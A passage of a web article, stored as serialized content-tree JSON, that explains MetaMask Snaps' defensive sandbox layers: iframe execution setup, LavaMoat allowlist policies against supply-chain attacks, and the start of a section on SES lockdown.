const",{"type":22,"tag":101,"props":40187,"children":40188},{"style":120},[40189],{"type":27,"value":1479},{"type":22,"tag":101,"props":40191,"children":40192},{"style":126},[40193],{"type":27,"value":40194},"jobId",{"type":22,"tag":101,"props":40196,"children":40197},{"style":120},[40198],{"type":27,"value":1506},{"type":22,"tag":101,"props":40200,"children":40201},{"style":166},[40202],{"type":27,"value":1511},{"type":22,"tag":101,"props":40204,"children":40205},{"style":3595},[40206],{"type":27,"value":40207}," await",{"type":22,"tag":101,"props":40209,"children":40210},{"style":108},[40211],{"type":27,"value":39713},{"type":22,"tag":101,"props":40213,"children":40214},{"style":120},[40215],{"type":27,"value":231},{"type":22,"tag":101,"props":40217,"children":40218},{"style":926},[40219],{"type":27,"value":40220},"initJob",{"type":22,"tag":101,"props":40222,"children":40223},{"style":120},[40224],{"type":27,"value":980},{"type":22,"tag":101,"props":40226,"children":40227},{"style":126},[40228],{"type":27,"value":40156},{"type":22,"tag":101,"props":40230,"children":40231},{"style":120},[40232],{"type":27,"value":994},{"type":22,"tag":101,"props":40234,"children":40235},{"class":103,"line":1215},[40236,40240,40244,40249,40253,40258,40262,40266,40270,40274,40278,40283,40287,40291],{"type":22,"tag":101,"props":40237,"children":40238},{"style":108},[40239],{"type":27,"value":40185},{"type":22,"tag":101,"props":40241,"children":40242},{"style":120},[40243],{"type":27,"value":1479},{"type":22,"tag":101,"props":40245,"children":40246},{"style":126},[40247],{"type":27,"value":40248},"worker",{"type":22,"tag":101,"props":40250,"children":40251},{"style":120},[40252],{"type":27,"value":758},{"type":22,"tag":101,"props":40254,"children":40255},{"style":126},[40256],{"type":27,"value":40257},"stream",{"type":22,"tag":101,"props":40259,"children":40260},{"style":120},[40261],{"type":27,"value":1506},{"type":22,"tag":101,"props":40263,"children":40264},{"style":166},[40265],{"type":27,"value":1511},{"type":22,"tag":101,"props":40267,"children":40268},{"style":3595},[40269],{"type":27,"value":40207},{"type":22,"tag":101,"props":40271,"children":40272},{"style":108},[40273],{"type":27,"value":39713},{"type":22,"tag":101,"props":40275,"children":40276},{"style":120},[40277],{"type":27,"value":231},{"type":22,"tag":101,"props":40279,"children":40280},{"style":926},[40281],{"type":27,"value":40282},"initEnvStream",{"type":22,"tag":101,"props":40284,"children":40285},{"style":120},[40286],{"type":27,"value":980},{"type":22,"tag":101,"props":40288,"children":40289},{"style":126},[40290],{"type":27,"value":40194},{"type":22,"tag":101,"props":40292,"children":40293},{"style":120},[40294],{"type":27,"value":994},{"type":22,"tag":101,"props":40296,"children":40297},{"class":103,"line":2425},[40298],{"type":22,"tag":101,"props":40299,"children":40300},{"style":2215},[40301],{"type":27,"value":40302}," // ...\n",{"type":22,"tag":101,"props":40304,"children":40305},{"class":103,"line":5417},[40306],{"type":22,"tag":101,"props":40307,"children":40308},{"style":120},[40309],{"type":27,"value":188},{"type":22,"tag":23,"props":40311,"children":40312},{},[40313,40314,40319,40321,40327],{"type":27,"value":2007},{"type":22,"tag":30,"props":40315,"children":40317},{"className":40316},[],[40318],{"type":27,"value":39890},{"type":27,"value":40320}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":22,"tag":30,"props":40322,"children":40324},{"className":40323},[],[40325],{"type":27,"value":40326},"${controllerName}:executeSnap",{"type":27,"value":40328}," handler triggers the snap execution process.",{"type":22,"tag":22883,"props":40330,"children":40332},{"id":40331},"step-by-step-execution-from-initialization-to-iframe-creation",[40333,40335],{"type":27,"value":40334},"Step-by-Step Execution: From Initialization to iFrame ",{"type":22,"tag":80,"props":40336,"children":40339},{"href":40337,"rel":40338},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[84],[40340],{"type":27,"value":40341},"creation",{"type":22,"tag":91,"props":40343,"children":40345},{"className":39927,"code":40344,"language":39929,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[40346],{"type":22,"tag":30,"props":40347,"children":40348},{"__ignoreMap":7},[40349,40398,40419,40440,40448,40512,40519,40547,40564,40581,40598,40615,40622,40629,40653],{"type":22,"tag":101,"props":40350,"children":40351},{"class":103,"line":104},[40352,40357,40362,40367,40371,40375,40379,40383,40388,40393],{"type":22,"tag":101,"props":40353,"children":40354},{"style":126},[40355],{"type":27,"value":40356},"protected",{"type":22,"tag":101,"props":40358,"children":40359},{"style":126},[40360],{"type":27,"value":40361}," async",{"type":22,"tag":101,"props":40363,"children":40364},{"style":926},[40365],{"type":27,"value":40366}," initEnvStream",{"type":22,"tag":101,"props":40368,"children":40369},{"style":120},[40370],{"type":27,"value":980},{"type":22,"tag":101,"props":40372,"children":40373},{"style":126},[40374],{"type":27,"value":40194},{"type":22,"tag":101,"props":40376,"children":40377},{"style":120},[40378],{"type":27,"value":19332},{"type":22,"tag":101,"props":40380,"children":40381},{"style":126},[40382],{"type":27,"value":33663},{"type":22,"tag":101,"props":40384,"children":40385},{"style":120},[40386],{"type":27,"value":40387},"): ",{"type":22,"tag":101,"props":40389,"children":40390},{"style":114},[40391],{"type":27,"value":40392},"Promise",{"type":22,"tag":101,"props":40394,"children":40395},{"style":120},[40396],{"type":27,"value":40397},"\u003C{\n",{"type":22,"tag":101,"props":40399,"children":40400},{"class":103,"line":157},[40401,40406,40410,40415],{"type":22,"tag":101,"props":40402,"children":40403},{"style":126},[40404],{"type":27,"value":40405}," worker",{"type":22,"tag":101,"props":40407,"children":40408},{"style":166},[40409],{"type":27,"value":169},{"type":22,"tag":101,"props":40411,"children":40412},{"style":114},[40413],{"type":27,"value":40414}," Window",{"type":22,"tag":101,"props":40416,"children":40417},{"style":120},[40418],{"type":27,"value":1520},{"type":22,"tag":101,"props":40420,"children":40421},{"class":103,"line":182},[40422,40427,40431,40436],{"type":22,"tag":101,"props":40423,"children":40424},{"style":126},[40425],{"type":27,"value":40426}," stream",{"type":22,"tag":101,"props":40428,"children":40429},{"style":166},[40430],{"type":27,"value":169},{"type":22,"tag":101,"props":40432,"children":40433},{"style":114},[40434],{"type":27,"value":40435}," BasePostMessageStream",{"type":22,"tag":101,"props":40437,"children":40438},{"style":120},[40439],{"type":27,"value":1520},{"type":22,"tag":101,"props":40441,"children":40442},{"class":103,"line":367},[40443],{"type":22,"tag":101,"props":40444,"children":40445},{"style":120},[40446],{"type":27,"value":40447}," }> {\n",{"type":22,"tag":101,"props":40449,"children":40450},{"class":103,"line":398},[40451,40456,40461,40465,40469,40474,40478,40482,40486,40491,40495,40500,40504,40508],{"type":22,"tag":101,"props":40452,"children":40453},{"style":120},[40454],{"type":27,"value":40455}," const ",{"type":22,"tag":101,"props":40457,"children":40458},{"style":126},[40459],{"type":27,"value":40460},"iframeWindow",{"type":22,"tag":101,"props":40462,"children":40463},{"style":166},[40464],{"type":27,"value":960},{"type":22,"tag":101,"props":40466,"children":40467},{"style":3595},[40468],{"type":27,"value":40207},{"type":22,"tag":101,"props":40470,"children":40471},{"style":926},[40472],{"type":27,"value":40473}," createWindow",{"type":22,"tag":101,"props":40475,"children":40476},{"style":120},[40477],{"type":27,"value":980},{"type":22,"tag":101,"props":40479,"children":40480},{"style":108},[40481],{"type":27,"value":21691},{"type":22,"tag":101,"props":40483,"children":40484},{"style":120},[40485],{"type":27,"value":231},{"type":22,"tag":101,"props":40487,"children":40488},{"style":126},[40489],{"type":27,"value":40490},"iframeUrl",{"type":22,"tag":101,"props":40492,"children":40493},{"style":120},[40494],{"type":27,"value":231},{"type":22,"tag":101,"props":40496,"children":40497},{"style":926},[40498],{"type":27,"value":40499},"toString",{"type":22,"tag":101,"props":40501,"children":40502},{"style":120},[40503],{"type":27,"value":1147},{"type":22,"tag":101,"props":40505,"children":40506},{"style":126},[40507],{"type":27,"value":40194},{"type":22,"tag":101,"props":40509,"children":40510},{"style":120},[40511],{"type":27,"value":994},{"type":22,"tag":101,"props":40513,"children":40514},{"class":103,"line":428},[40515],{"type":22,"tag":101,"props":40516,"children":40517},{"emptyLinePlaceholder":15},[40518],{"type":27,"value":1581},{"type":22,"tag":101,"props":40520,"children":40521},{"class":103,"line":997},[40522,40526,40530,40534,40538,40543],{"type":22,"tag":101,"props":40523,"children":40524},{"style":120},[40525],{"type":27,"value":40455},{"type":22,"tag":101,"props":40527,"children":40528},{"style":126},[40529],{"type":27,"value":40257},{"type":22,"tag":101,"props":40531,"children":40532},{"style":166},[40533],{"type":27,"value":960},{"type":22,"tag":101,"props":40535,"children":40536},{"style":108},[40537],{"type":27,"value":35929},{"type":22,"tag":101,"props":40539,"children":40540},{"style":926},[40541],{"type":27,"value":40542}," WindowPostMessageStream",{"type":22,"tag":101,"props":40544,"children":40545},{"style":120},[40546],{"type":27,"value":19142},{"type":22,"tag":101,"props":40548,"children":40549},{"class":103,"line":1032},[40550,40555,40560],{"type":22,"tag":101,"props":40551,"children":40552},{"style":126},[40553],{"type":27,"value":40554}," name:",{"type":22,"tag":101,"props":40556,"children":40557},{"style":6476},[40558],{"type":27,"value":40559}," 'parent'",{"type":22,"tag":101,"props":40561,"children":40562},{"style":120},[40563],{"type":27,"value":179},{"type":22,"tag":101,"props":40565,"children":40566},{"class":103,"line":1063},[40567,40572,40577],{"type":22,"tag":101,"props":40568,"children":40569},{"style":126},[40570],{"type":27,"value":40571}," target:",{"type":22,"tag":101,"props":40573,"children":40574},{"style":6476},[40575],{"type":27,"value":40576}," 'child'",{"type":22,"tag":101,"props":40578,"children":40579},{"style":120},[40580],{"type":27,"value":179},{"type":22,"tag":101,"props":40582,"children":40583},{"class":103,"line":1071},[40584,40589,40594],{"type":22,"tag":101,"props":40585,"children":40586},{"style":126},[40587],{"type":27,"value":40588}," targetWindow:",{"type":22,"tag":101,"props":40590,"children":40591},{"style":126},[40592],{"type":27,"value":40593}," iframeWindow",{"type":22,"tag":101,"props":40595,"children":40596},{"style":120},[40597],{"type":27,"value":179},{"type":22,"tag":101,"props":40599,"children":40600},{"class":103,"line":1110},[40601,40606,40611],{"type":22,"tag":101,"props":40602,"children":40603},{"style":126},[40604],{"type":27,"value":40605}," targetOrigin:",{"type":22,"tag":101,"props":40607,"children":40608},{"style":6476},[40609],{"type":27,"value":40610}," '*'",{"type":22,"tag":101,"props":40612,"children":40613},{"style":120},[40614],{"type":27,"value":179},{"type":22,"tag":101,"props":40616,"children":40617},{"class":103,"line":1118},[40618],{"type":22,"tag":101,"props":40619,"children":40620},{"style":120},[40621],{"type":27,"value":36253},{"type":22,"tag":101,"props":40623,"children":40624},{"class":103,"line":1158},[40625],{"type":22,"tag":101,"props":40626,"children":40627},{"emptyLinePlaceholder":15},[40628],{"type":27,"value":1581},{"type":22,"tag":101,"props":40630,"children":40631},{"class":103,"line":1166},[40632,40637,40641,40645,40649],{"type":22,"tag":101,"props":40633,"children":40634},{"style":120},[40635],{"type":27,"value":40636}," return { worker: ",{"type":22,"tag":101,"props":40638,"children":40639},{"style":126},[40640],{"type":27,"value":40460},{"type":22,"tag":101,"props":40642,"children":40643},{"style":120},[40644],{"type":27,"value":758},{"type":22,"tag":101,"props":40646,"children":40647},{"style":126},[40648],{"type":27,"value":40257},{"type":22,"tag":101,"props":40650,"children":40651},{"style":120},[40652],{"type":27,"value":22298},{"type":22,"tag":101,"props":40654,"children":40655},{"class":103,"line":1215},[40656],{"type":22,"tag":101,"props":40657,"children":40658},{"style":120},[40659],{"type":27,"value":9908},{"type":22,"tag":23,"props":40661,"children":40662},{},[40663,40665,40671,40673,40680],{"type":27,"value":40664},"Here the iframe is created via ",{"type":22,"tag":30,"props":40666,"children":40668},{"className":40667},[],[40669],{"type":27,"value":40670},"createWindow",{"type":27,"value":40672},", which is defined in snaps-utils ",{"type":22,"tag":80,"props":40674,"children":40677},{"href":40675,"rel":40676},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[84],[40678],{"type":27,"value":40679},"package",{"type":27,"value":169},{"type":22,"tag":91,"props":40682,"children":40684},{"className":39927,"code":40683,"language":39929,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[40685],{"type":22,"tag":30,"props":40686,"children":40687},{"__ignoreMap":7},[40688,40731,40769,40806,40813,40833,40871,40878,40915],{"type":22,"tag":101,"props":40689,"children":40690},{"class":103,"line":104},[40691,40695,40700,40704,40709,40713,40718,40722,40727],{"type":22,"tag":101,"props":40692,"children":40693},{"style":108},[40694],{"type":27,"value":13660},{"type":22,"tag":101,"props":40696,"children":40697},{"style":126},[40698],{"type":27,"value":40699}," iframe",{"type":22,"tag":101,"props":40701,"children":40702},{"style":166},[40703],{"type":27,"value":960},{"type":22,"tag":101,"props":40705,"children":40706},{"style":126},[40707],{"type":27,"value":40708}," document",{"type":22,"tag":101,"props":40710,"children":40711},{"style":120},[40712],{"type":27,"value":231},{"type":22,"tag":101,"props":40714,"children":40715},{"style":926},[40716],{"type":27,"value":40717},"createElement",{"type":22,"tag":101,"props":40719,"children":40720},{"style":120},[40721],{"type":27,"value":980},{"type":22,"tag":101,"props":40723,"children":40724},{"style":6476},[40725],{"type":27,"value":40726},"'iframe'",{"type":22,"tag":101,"props":40728,"children":40729},{"style":120},[40730],{"type":27,"value":994},{"type":22,"tag":101,"props":40732,"children":40733},{"class":103,"line":157},[40734,40739,40743,40748,40752,40757,40761,40765],{"type":22,"tag":101,"props":40735,"children":40736},{"style":126},[40737],{"type":27,"value":40738}," iframe",{"type":22,"tag":101,"props":40740,"children":40741},{"style":120},[40742],{"type":27,"value":231},{"type":22,"tag":101,"props":40744,"children":40745},{"style":926},[40746],{"type":27,"value":40747},"setAttribute",{"type":22,"tag":101,"props":40749,"children":40750},{"style":120},[40751],{"type":27,"value":980},{"type":22,"tag":101,"props":40753,"children":40754},{"style":6476},[40755],{"type":27,"value":40756},"'id'",{"type":22,"tag":101,"props":40758,"children":40759},{"style":120},[40760],{"type":27,"value":758},{"type":22,"tag":101,"props":40762,"children":40763},{"style":126},[40764],{"type":27,"value":7521},{"type":22,"tag":101,"props":40766,"children":40767},{"style":120},[40768],{"type":27,"value":994},{"type":22,"tag":101,"props":40770,"children":40771},{"class":103,"line":182},[40772,40776,40780,40784,40788,40793,40797,40802],{"type":22,"tag":101,"props":40773,"children":40774},{"style":126},[40775],{"type":27,"value":40738},{"type":22,"tag":101,"props":40777,"children":40778},{"style":120},[40779],{"type":27,"value":231},{"type":22,"tag":101,"props":40781,"children":40782},{"style":926},[40783],{"type":27,"value":40747},{"type":22,"tag":101,"props":40785,"children":40786},{"style":120},[40787],{"type":27,"value":980},{"type":22,"tag":101,"props":40789,"children":40790},{"style":6476},[40791],{"type":27,"value":40792},"'data-testid'",{"type":22,"tag":101,"props":40794,"children":40795},{"style":120},[40796],{"type":27,"value":758},{"type":22,"tag":101,"props":40798,"children":40799},{"style":6476},[40800],{"type":27,"value":40801},"'snaps-iframe'",{"type":22,"tag":101,"props":40803,"children":40804},{"style":120},[40805],{"type":27,"value":994},{"type":22,"tag":101,"props":40807,"children":40808},{"class":103,"line":367},[40809],{"type":22,"tag":101,"props":40810,"children":40811},{"emptyLinePlaceholder":15},[40812],{"type":27,"value":1581},{"type":22,"tag":101,"props":40814,"children":40815},{"class":103,"line":398},[40816,40820,40824,40829],{"type":22,"tag":101,"props":40817,"children":40818},{"style":3595},[40819],{"type":27,"value":16283},{"type":22,"tag":101,"props":40821,"children":40822},{"style":120},[40823],{"type":27,"value":3603},{"type":22,"tag":101,"props":40825,"children":40826},{"style":126},[40827],{"type":27,"value":40828},"sandbox",{"type":22,"tag":101,"props":40830,"children":40831},{"style":120},[40832],{"type":27,"value":1463},{"type":22,"tag":101,"props":40834,"children":40835},{"class":103,"line":428},[40836,40841,40845,40849,40853,40858,40862,40867],{"type":22,"tag":101,"props":40837,"children":40838},{"style":126},[40839],{"type":27,"value":40840}," iframe",{"type":22,"tag":101,"props":40842,"children":40843},{"style":120},[40844],{"type":27,"value":231},{"type":22,"tag":101,"props":40846,"children":40847},{"style":926},[40848],{"type":27,"value":40747},{"type":22,"tag":101,"props":40850,"children":40851},{"style":120},[40852],{"type":27,"value":980},{"type":22,"tag":101,"props":40854,"children":40855},{"style":6476},[40856],{"type":27,"value":40857},"'sandbox'",{"type":22,"tag":101,"props":40859,"children":40860},{"style":120},[40861],{"type":27,"value":758},{"type":22,"tag":101,"props":40863,"children":40864},{"style":6476},[40865],{"type":27,"value":40866},"'allow-scripts'",{"type":22,"tag":101,"props":40868,"children":40869},{"style":120},[40870],{"type":27,"value":994},{"type":22,"tag":101,"props":40872,"children":40873},{"class":103,"line":997},[40874],{"type":22,"tag":101,"props":40875,"children":40876},{"style":120},[40877],{"type":27,"value":1734},{"type":22,"tag":101,"props":40879,"children":40880},{"class":103,"line":1032},[40881,40885,40889,40893,40897,40902,40906,40911],{"type":22,"tag":101,"props":40882,"children":40883},{"style":126},[40884],{"type":27,"value":40738},{"type":22,"tag":101,"props":40886,"children":40887},{"style":120},[40888],{"type":27,"value":231},{"type":22,"tag":101,"props":40890,"children":40891},{"style":926},[40892],{"type":27,"value":40747},{"type":22,"tag":101,"props":40894,"children":40895},{"style":120},[40896],{"type":27,"value":980},{"type":22,"tag":101,"props":40898,"children":40899},{"style":6476},[40900],{"type":27,"value":40901},"'src'",{"type":22,"tag":101,"props":40903,"children":40904},{"style":120},[40905],{"type":27,"value":758},{"type":22,"tag":101,"props":40907,"children":40908},{"style":126},[40909],{"type":27,"value":40910},"uri",{"type":22,"tag":101,"props":40912,"children":40913},{"style":120},[40914],{"type":27,"value":994},{"type":22,"tag":101,"props":40916,"children":40917},{"class":103,"line":1063},[40918,40922,40926,40930,40934,40939,40943,40948],{"type":22,"tag":101,"props":40919,"children":40920},{"style":126},[40921],{"type":27,"value":38669},{"type":22,"tag":101,"props":40923,"children":40924},{"style":120},[40925],{"type":27,"value":231},{"type":22,"tag":101,"props":40927,"children":40928},{"style":126},[40929],{"type":27,"value":36396},{"type":22,"tag":101,"props":40931,"children":40932},{"style":120},[40933],{"type":27,"value":231},{"type":22,"tag":101,"props":40935,"children":40936},{"style":926},[40937],{"type":27,"value":40938},"appendChild",{"type":22,"tag":101,"props":40940,"children":40941},{"style":120},[40942],{"type":27,"value":980},{"type":22,"tag":101,"props":40944,"children":40945},{"style":126},[40946],{"type":27,"value":40947},"iframe",{"type":22,"tag":101,"props":40949,"children":40950},{"style":120},[40951],{"type":27,"value":994},{"type":22,"tag":23,"props":40953,"children":40954},{},[40955],{"type":27,"value":40956},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":22,"tag":1760,"props":40958,"children":40960},{"id":40959},"lavamoat-against-supply-chain-attacks-layer-2",[40961],{"type":27,"value":40962},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":22,"tag":23,"props":40964,"children":40965},{},[40966],{"type":27,"value":40967},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":22,"tag":23,"props":40969,"children":40970},{},[40971,40973,40979],{"type":27,"value":40972},"Malicious dependencies might utilize built-in modules like ",{"type":22,"tag":30,"props":40974,"children":40976},{"className":40975},[],[40977],{"type":27,"value":40978},"fs",{"type":27,"value":40980},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":22,"tag":23,"props":40982,"children":40983},{},[40984],{"type":27,"value":40985},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":22,"tag":23,"props":40987,"children":40988},{},[40989,40991,40998],{"type":27,"value":40990},"This is how a Policy file related to the iframes ",{"type":22,"tag":80,"props":40992,"children":40995},{"href":40993,"rel":40994},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[84],[40996],{"type":27,"value":40997},"looks",{"type":27,"value":169},{"type":22,"tag":91,"props":41000,"children":41002},{"className":37991,"code":41001,"language":37993,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[41003],{"type":22,"tag":30,"props":41004,"children":41005},{"__ignoreMap":7},[41006,41019,41031,41051,41071,41091,41111,41131,41151,41171,41188,41196,41208,41228,41244,41251],{"type":22,"tag":101,"props":41007,"children":41008},{"class":103,"line":104},[41009,41014],{"type":22,"tag":101,"props":41010,"children":41011},{"style":6476},[41012],{"type":27,"value":41013},"\"@metamask/post-message-stream\"",{"type":22,"tag":101,"props":41015,"children":41016},{"style":120},[41017],{"type":27,"value":41018},": {\n",{"type":22,"tag":101,"props":41020,"children":41021},{"class":103,"line":157},[41022,41027],{"type":22,"tag":101,"props":41023,"children":41024},{"style":126},[41025],{"type":27,"value":41026}," \"globals\"",{"type":22,"tag":101,"props":41028,"children":41029},{"style":120},[41030],{"type":27,"value":41018},{"type":22,"tag":101,"props":41032,"children":41033},{"class":103,"line":182},[41034,41039,41043,41047],{"type":22,"tag":101,"props":41035,"children":41036},{"style":126},[41037],{"type":27,"value":41038}," \"MessageEvent.prototype\"",{"type":22,"tag":101,"props":41040,"children":41041},{"style":120},[41042],{"type":27,"value":19332},{"type":22,"tag":101,"props":41044,"children":41045},{"style":108},[41046],{"type":27,"value":5608},{"type":22,"tag":101,"props":41048,"children":41049},{"style":120},[41050],{"type":27,"value":179},{"type":22,"tag":101,"props":41052,"children":41053},{"class":103,"line":367},[41054,41059,41063,41067],{"type":22,"tag":101,"props":41055,"children":41056},{"style":126},[41057],{"type":27,"value":41058}," \"WorkerGlobalScope\"",{"type":22,"tag":101,"props":41060,"children":41061},{"style":120},[41062],{"type":27,"value":19332},{"type":22,"tag":101,"props":41064,"children":41065},{"style":108},[41066],{"type":27,"value":5608},{"type":22,"tag":101,"props":41068,"children":41069},{"style":120},[41070],{"type":27,"value":179},{"type":22,"tag":101,"props":41072,"children":41073},{"class":103,"line":398},[41074,41079,41083,41087],{"type":22,"tag":101,"props":41075,"children":41076},{"style":126},[41077],{"type":27,"value":41078}," \"addEventListener\"",{"type":22,"tag":101,"props":41080,"children":41081},{"style":120},[41082],{"type":27,"value":19332},{"type":22,"tag":101,"props":41084,"children":41085},{"style":108},[41086],{"type":27,"value":5608},{"type":22,"tag":101,"props":41088,"children":41089},{"style":120},[41090],{"type":27,"value":179},{"type":22,"tag":101,"props":41092,"children":41093},{"class":103,"line":428},[41094,41099,41103,41107],{"type":22,"tag":101,"props":41095,"children":41096},{"style":126},[41097],{"type":27,"value":41098}," \"browser\"",{"type":22,"tag":101,"props":41100,"children":41101},{"style":120},[41102],{"type":27,"value":19332},{"type":22,"tag":101,"props":41104,"children":41105},{"style":108},[41106],{"type":27,"value":5608},{"type":22,"tag":101,"props":41108,"children":41109},{"style":120},[41110],{"type":27,"value":179},{"type":22,"tag":101,"props":41112,"children":41113},{"class":103,"line":997},[41114,41119,41123,41127],{"type":22,"tag":101,"props":41115,"children":41116},{"style":126},[41117],{"type":27,"value":41118}," \"chrome\"",{"type":22,"tag":101,"props":41120,"children":41121},{"style":120},[41122],{"type":27,"value":19332},{"type":22,"tag":101,"props":41124,"children":41125},{"style":108},[41126],{"type":27,"value":5608},{"type":22,"tag":101,"props":41128,"children":41129},{"style":120},[41130],{"type":27,"value":179},{"type":22,"tag":101,"props":41132,"children":41133},{"class":103,"line":1032},[41134,41139,41143,41147],{"type":22,"tag":101,"props":41135,"children":41136},{"style":126},[41137],{"type":27,"value":41138}," \"location.origin\"",{"type":22,"tag":101,"props":41140,"children":41141},{"style":120},[41142],{"type":27,"value":19332},{"type":22,"tag":101,"props":41144,"children":41145},{"style":108},[41146],{"type":27,"value":5608},{"type":22,"tag":101,"props":41148,"children":41149},{"style":120},[41150],{"type":27,"value":179},{"type":22,"tag":101,"props":41152,"children":41153},{"class":103,"line":1063},[41154,41159,41163,41167],{"type":22,"tag":101,"props":41155,"children":41156},{"style":126},[41157],{"type":27,"value":41158}," \"postMessage\"",{"type":22,"tag":101,"props":41160,"children":41161},{"style":120},[41162],{"type":27,"value":19332},{"type":22,"tag":101,"props":41164,"children":41165},{"style":108},[41166],{"type":27,"value":5608},{"type":22,"tag":101,"props":41168,"children":41169},{"style":120},[41170],{"type":27,"value":179},{"type":22,"tag":101,"props":41172,"children":41173},{"class":103,"line":1071},[41174,41179,41183],{"type":22,"tag":101,"props":41175,"children":41176},{"style":126},[41177],{"type":27,"value":41178}," \"removeEventListener\"",{"type":22,"tag":101,"props":41180,"children":41181},{"style":120},[41182],{"type":27,"value":19332},{"type":22,"tag":101,"props":41184,"children":41185},{"style":108},[41186],{"type":27,"value":41187},"true\n",{"type":22,"tag":101,"props":41189,"children":41190},{"class":103,"line":1110},[41191],{"type":22,"tag":101,"props":41192,"children":41193},{"style":120},[41194],{"type":27,"value":41195}," },\n",{"type":22,"tag":101,"props":41197,"children":41198},{"class":103,"line":1118},[41199,41204],{"type":22,"tag":101,"props":41200,"children":41201},{"style":126},[41202],{"type":27,"value":41203}," \"packages\"",{"type":22,"tag":101,"props":41205,"children":41206},{"style":120},[41207],{"type":27,"value":41018},{"type":22,"tag":101,"props":41209,"children":41210},{"class":103,"line":1158},[41211,41216,41220,41224],{"type":22,"tag":101,"props":41212,"children":41213},{"style":126},[41214],{"type":27,"value":41215}," \"@metamask/post-message-stream>@metamask/utils\"",{"type":22,"tag":101,"props":41217,"children":41218},{"style":120},[41219],{"type":27,"value":19332},{"type":22,"tag":101,"props":41221,"children":41222},{"style":108},[41223],{"type":27,"value":5608},{"type":22,"tag":101,"props":41225,"children":41226},{"style":120},[41227],{"type":27,"value":179},{"type":22,"tag":101,"props":41229,"children":41230},{"class":103,"line":1166},[41231,41236,41240],{"type":22,"tag":101,"props":41232,"children":41233},{"style":126},[41234],{"type":27,"value":41235}," \"@metamask/post-message-stream>readable-stream\"",{"type":22,"tag":101,"props":41237,"children":41238},{"style":120},[41239],{"type":27,"value":19332},{"type":22,"tag":101,"props":41241,"children":41242},{"style":108},[41243],{"type":27,"value":41187},{"type":22,"tag":101,"props":41245,"children":41246},{"class":103,"line":1215},[41247],{"type":22,"tag":101,"props":41248,"children":41249},{"style":120},[41250],{"type":27,"value":16668},{"type":22,"tag":101,"props":41252,"children":41253},{"class":103,"line":2425},[41254],{"type":22,"tag":101,"props":41255,"children":41256},{"style":120},[41257],{"type":27,"value":1734},{"type":22,"tag":23,"props":41259,"children":41260},{},[41261,41263,41269,41271,41277,41279,41285,41287,41293,41294,41300],{"type":27,"value":41262},"One crucial aspect of the policy, apart from the ",{"type":22,"tag":30,"props":41264,"children":41266},{"className":41265},[],[41267],{"type":27,"value":41268},"globals",{"type":27,"value":41270}," section, is the ",{"type":22,"tag":30,"props":41272,"children":41274},{"className":41273},[],[41275],{"type":27,"value":41276},"packages",{"type":27,"value":41278}," segment. This section permits the ",{"type":22,"tag":30,"props":41280,"children":41282},{"className":41281},[],[41283],{"type":27,"value":41284},"@metamask/post-message-stream",{"type":27,"value":41286},"package to exclusively interact with the package ",{"type":22,"tag":30,"props":41288,"children":41290},{"className":41289},[],[41291],{"type":27,"value":41292},"@metamask/utils",{"type":27,"value":209},{"type":22,"tag":30,"props":41295,"children":41297},{"className":41296},[],[41298],{"type":27,"value":41299},"readable-stream",{"type":27,"value":41301},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":22,"tag":23,"props":41303,"children":41304},{},[41305,41307,41313],{"type":27,"value":41306},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":22,"tag":30,"props":41308,"children":41310},{"className":41309},[],[41311],{"type":27,"value":41312},"lockdown",{"type":27,"value":41314}," function to freeze all javascript builtins prototypes.",{"type":22,"tag":1760,"props":41316,"children":41318},{"id":41317},"secure-ecmascript-ses-sandbox-layer-3",[41319],{"type":27,"value":41320},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":22,"tag":23,"props":41322,"children":41323},{},[41324,41326,41333],{"type":27,"value":41325},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":22,"tag":80,"props":41327,"children":41330},{"href":41328,"rel":41329},"https://github.com/endojs/endo/tree/master/packages/ses",[84],[41331],{"type":27,"value":41332},"Secure EcmaScript (SES)",{"type":27,"value":41334}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":22,"tag":22883,"props":41336,"children":41338},{"id":41337},"ses-fundamentals",[41339],{"type":27,"value":41340},"SES 